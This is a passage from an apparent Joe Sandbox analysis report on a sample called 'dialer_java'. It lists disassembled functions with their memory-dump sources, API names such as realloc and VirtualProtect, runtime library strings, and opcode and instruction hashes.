                                  • Opcode Fuzzy Hash: 302b9d3f0cf64db1bf55221c519113ff95167a7d3676b02519fd1c4a4701ce77
                                  • Instruction Fuzzy Hash: 0F41E5A2A05F8181EF298F25F4402B9A3A0EB58FC4F049631DB9D477A5EF2CD986C304
                                  Function 00007FF695DDB9A0 Relevance: 6.1, APIs: 4, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy
                                  • String ID:
                                  • API String ID: 1059646398-0
                                  • Opcode ID: 0d7666657fd6939fd31a0668dc5394f8c5ed6a9fe7f585d47596b9263e8e10d9
                                  • Instruction ID: 9ba8526e1f1e2744f51d97ca0cd50711507ea0eb1004ce3402daac0d39c9493b
                                  • Opcode Fuzzy Hash: 0d7666657fd6939fd31a0668dc5394f8c5ed6a9fe7f585d47596b9263e8e10d9
                                  • Instruction Fuzzy Hash: CA41D372A06B8182EB258B15E44476967A0EB44FC4F059272DF9D4B7A1DF3CD94AC704
                                  Function 00007FF695DD9D00 Relevance: 6.1, APIs: 4, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: fbc8c95ca6f8518ba7c3563b4af5def5134fbf6b9430f51e1a2fd6be112007f3
                                  • Instruction ID: ddf79536597cd0d4b024b32c7e76bb9160078550000d441c26f1ad1b58fb8531
                                  • Opcode Fuzzy Hash: fbc8c95ca6f8518ba7c3563b4af5def5134fbf6b9430f51e1a2fd6be112007f3
                                  • Instruction Fuzzy Hash: DD516FB2A06B8682DF398F56E540269B3A1FB58FC4F048672CB8E47760DF3DE5558700
                                  Function 00007FF695DD5B70 Relevance: 6.1, APIs: 4, Instructions: 127COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 20953f9e9240fd2666c6fd200cec74d4ec21cc6e74914b9a1bb946a4a4a6ed08
                                  • Instruction ID: 0fa6ac1049515052126dc2a07a9d278b7dc6a43a5e7919c58518aa4a7f539fed
                                  • Opcode Fuzzy Hash: 20953f9e9240fd2666c6fd200cec74d4ec21cc6e74914b9a1bb946a4a4a6ed08
                                  • Instruction Fuzzy Hash: EA4150B2A06B8682DF398F56F444269B3A1EB58FC4F448272CB8E477A5EF3CD5458700
                                  Function 00007FF695DE2060 Relevance: 6.1, APIs: 4, Instructions: 113COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fputclocaleconv
                                  • String ID:
                                  • API String ID: 697933784-0
                                  • Opcode ID: e7dc6929fcf4cc6b6d4a8017c3bf5789be4cf754bd583aa0524452777b434767
                                  • Instruction ID: 96fb23adce3219f48626c53c0e42880c2d76660dcdff069e0c2026304c30fc60
                                  • Opcode Fuzzy Hash: e7dc6929fcf4cc6b6d4a8017c3bf5789be4cf754bd583aa0524452777b434767
                                  • Instruction Fuzzy Hash: 5E418562E05141CAF3345A66E98137EB2E1EB15F54F101375DB6E82BC1CE2CEE8A8754
                                  Function 00007FF695DDB760 Relevance: 6.1, APIs: 4, Instructions: 106COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 0110527e016c01b0a12a7529867a8ac73845aff24685a5758aca368fee7433c9
                                  • Instruction ID: 08a407b184c520e924b3548d4a53be1ae986c512cf6b92289f705f5148a060df
                                  • Opcode Fuzzy Hash: 0110527e016c01b0a12a7529867a8ac73845aff24685a5758aca368fee7433c9
                                  • Instruction Fuzzy Hash: 553152B2E05F8582EE299F56F550269A3A1EB58FC4F049172CB9E47761DF3CE8458700
                                  Function 00007FF695DDDB70 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID: enum$struct$union
                                  • API String ID: 2803490479-1076304440
                                  • Opcode ID: 9eeface4d110fd4f93855d0c537ecc8917bf5016c94e455d4abe1fc3c89d10f7
                                  • Instruction ID: e20becc215837f4552f2431d9f222a457fedd59c84141e255484fc74ee435512
                                  • Opcode Fuzzy Hash: 9eeface4d110fd4f93855d0c537ecc8917bf5016c94e455d4abe1fc3c89d10f7
                                  • Instruction Fuzzy Hash: 87310233A09A4184EB249B15E45877A22E5EB04F91F5552B6DE4E837D0DF3CE98BC304
                                  Function 00007FF695DDE5F0 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 92ab20d4474b65fcd413b3cc6ffba1703cdc3f62fa15c2224de3fc87839058f1
                                  • Instruction ID: de6796b2c5420c3a6991bfb3f886990c6705afc5f03eb940a89b711d2570a6f6
                                  • Opcode Fuzzy Hash: 92ab20d4474b65fcd413b3cc6ffba1703cdc3f62fa15c2224de3fc87839058f1
                                  • Instruction Fuzzy Hash: E63182B2A05F4682EE398F56F550279B3A1EB58FC0F449572CB9E47791EF3CE8458204
                                  Function 00007FF695DCFF19 Relevance: 6.1, APIs: 4, Instructions: 97COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyrealloc
                                  • String ID:
                                  • API String ID: 2642181057-0
                                  • Opcode ID: 7b5389b9c9a85f3a34e23261bf769740200db070f8f6c41ee47b25707c61576f
                                  • Instruction ID: be474129dea0f36275183dc4df77cb6c750f701c5e8c0061b6454c21e40b5e82
                                  • Opcode Fuzzy Hash: 7b5389b9c9a85f3a34e23261bf769740200db070f8f6c41ee47b25707c61576f
                                  • Instruction Fuzzy Hash: 5431D33260AB8285DA258B21E4442E962E1FB48F94F440676CB9D8B785EF3CE949C344
                                  Function 00007FF695DDC940 Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 92f0a808aa39fa7eb3d3e1b92975e20d59c52e8dbb1dc89ffce3e6ef201c367b
                                  • Instruction ID: 378ed366faf6c6c77416e2e31cb9f07429ea5378a1b4b4e6684147c0bd85733b
                                  • Opcode Fuzzy Hash: 92f0a808aa39fa7eb3d3e1b92975e20d59c52e8dbb1dc89ffce3e6ef201c367b
                                  • Instruction Fuzzy Hash: 7C316DB2A05B4682EF39CF56F450279A3A1EB58FC0F049572CB9E477A5EF3CE8458204
                                  Function 00007FF695DD7190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memcpyrealloc
                                  • String ID: %af
                                  • API String ID: 2500458235-435209106
                                  • Opcode ID: 189d169f33cf6af8ca0065567002fe4ddead3edd4c8bf95d75048c77e3cd1801
                                  • Instruction ID: 43212bd782594784dccd19d9583eb1b70e04de933b88a1d5918340774b74c2bf
                                  • Opcode Fuzzy Hash: 189d169f33cf6af8ca0065567002fe4ddead3edd4c8bf95d75048c77e3cd1801
                                  • Instruction Fuzzy Hash: B451CD62B1C6C146D73A8734E440BAD6F61D792781F049326DFA903F95EE3DCA0A8B00
                                  Function 00007FF695DC2410 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF695DC1247), ref: 00007FF695DC2589
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: ProtectVirtual
                                  • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                  • API String ID: 544645111-395989641
                                  • Opcode ID: 5b47f7b3415e9acf973e285d3e0f13b1c7560d1d6d05a1c3766290b15ed4b865
                                  • Instruction ID: ab4d39cc6d98caa3459573c2218705855454628424cd406b820f50a7adc01cfb
                                  • Opcode Fuzzy Hash: 5b47f7b3415e9acf973e285d3e0f13b1c7560d1d6d05a1c3766290b15ed4b865
                                  • Instruction Fuzzy Hash: 7E517A32A29546C6EF30CB25E8807B967A1EB06F54F4462B1D95D87794CF3DE88EC708
                                  Function 00007FF695DDBED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: mallocrealloc
                                  • String ID: struct
                                  • API String ID: 948496778-3130185518
                                  • Opcode ID: 35616c4f7b5d9537541ddb626232e0a783046c49ffb19191163ac48addb01a71
                                  • Instruction ID: ec8c75bfbc197541be4e9f93cba7620dd202b6e62c01cdb5c434ec4eb0b3ee31
                                  • Opcode Fuzzy Hash: 35616c4f7b5d9537541ddb626232e0a783046c49ffb19191163ac48addb01a71
                                  • Instruction Fuzzy Hash: 9841D472A04B9581EB29CB16E4446A867B4FB58FD1F044272DF8C4B7A0DF38D996C704
                                  Function 00007FF695DCEB10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: ble for
                                  • API String ID: 471065373-1503916205
                                  • Opcode ID: 7d0b51c97a29845c4b7d3c5cbaae78ce6d4dab227ee38db279accd03066f3836
                                  • Instruction ID: 2b395d792b2e8c95cc58f276cdd83ae85ff9434e2b6001ba87a454e7a31abd4a
                                  • Opcode Fuzzy Hash: 7d0b51c97a29845c4b7d3c5cbaae78ce6d4dab227ee38db279accd03066f3836
                                  • Instruction Fuzzy Hash: 09318EB2A05B4A82EF298F16E54017D67A1FB98FD0F048172CF9E47764DF2CE9998304
                                  Function 00007FF695DCD2D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID: std
                                  • API String ID: 2803490479-2826573480
                                  • Opcode ID: 39a9b4e02e6c7c124a628c552a4636f6e40e277c28f87722f2353c0517b7eef5
                                  • Instruction ID: 8aecc101a4837d54cf0981203c82b92729d44bc51ae120ce5fe07d89b7e2a8dd
                                  • Opcode Fuzzy Hash: 39a9b4e02e6c7c124a628c552a4636f6e40e277c28f87722f2353c0517b7eef5
                                  • Instruction Fuzzy Hash: AA31D43260A78285EE75AB14E8043B973E4EB05F40F451276CE9D8B391DF3CE94A8318
                                  Function 00007FF695DDEF40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: vector[
                                  • API String ID: 471065373-3542213508
                                  • Opcode ID: c4488cd4258865b302a78e24845e525baf049f33d3f4fcfc29418687803e7592
                                  • Instruction ID: 3f4dbf552e1695b213800922283f03e579bd6d8bc6571becff8dbc084481263a
                                  • Opcode Fuzzy Hash: c4488cd4258865b302a78e24845e525baf049f33d3f4fcfc29418687803e7592
                                  • Instruction Fuzzy Hash: 083183B6A05B4A82DF398F16E55427DA3A1EB58FC0F048572CF9E47764DF2CD8558304
                                  Function 00007FF695DD94E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: &
                                  • API String ID: 471065373-1010288
                                  • Opcode ID: c46aeaef957640738deddb87f16563f99d08ba3b34def948dc4d2f740d61f949
                                  • Instruction ID: 019f5426918abdb19c7e280e500b7f93904c0381801121a436c1f1fd69665696
                                  • Opcode Fuzzy Hash: c46aeaef957640738deddb87f16563f99d08ba3b34def948dc4d2f740d61f949
                                  • Instruction Fuzzy Hash: DB317AB3A09B8586DB25CF25F4402AAB7A0E758B88F048672DB9D47794EF3DD945C700
                                  Function 00007FF695DC4A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: EntryFunctionLookupfflush
                                  • String ID: libunwind: pc not in table, pc=0x%llX
                                  • API String ID: 1930725923-1970586329
                                  • Opcode ID: 3d495f0f2960550110fa8eb07f73b5c1ec580fd706c87246941946c30414a956
                                  • Instruction ID: 65dc0a7bc8d447f88adccc6b6f031286eb44159e1b0bf00c5d1205e554c127a0
                                  • Opcode Fuzzy Hash: 3d495f0f2960550110fa8eb07f73b5c1ec580fd706c87246941946c30414a956
                                  • Instruction Fuzzy Hash: DF31D172905B8181EB258F34E4803B873A1EF89F89F149375CE8D52384EF389895C344
                                  Function 00007FF695DDAF70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: operator$r""
                                  • API String ID: 471065373-3690342460
                                  • Opcode ID: e1620a572d8d04512c69ef91134d241d4fe72b19f885483c170cd34e2c6e07b0
                                  • Instruction ID: 16ee49efdca5239d421abe5049da6352638d912b3bb0616fbbfa239498bed5ad
                                  • Opcode Fuzzy Hash: e1620a572d8d04512c69ef91134d241d4fe72b19f885483c170cd34e2c6e07b0
                                  • Instruction Fuzzy Hash: F711B2B2A05B9582EE299F46E6400A8A7A1EB98FD0F009572CF4D47754DF28D9E68700
                                  Function 00007FF695DC2390 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
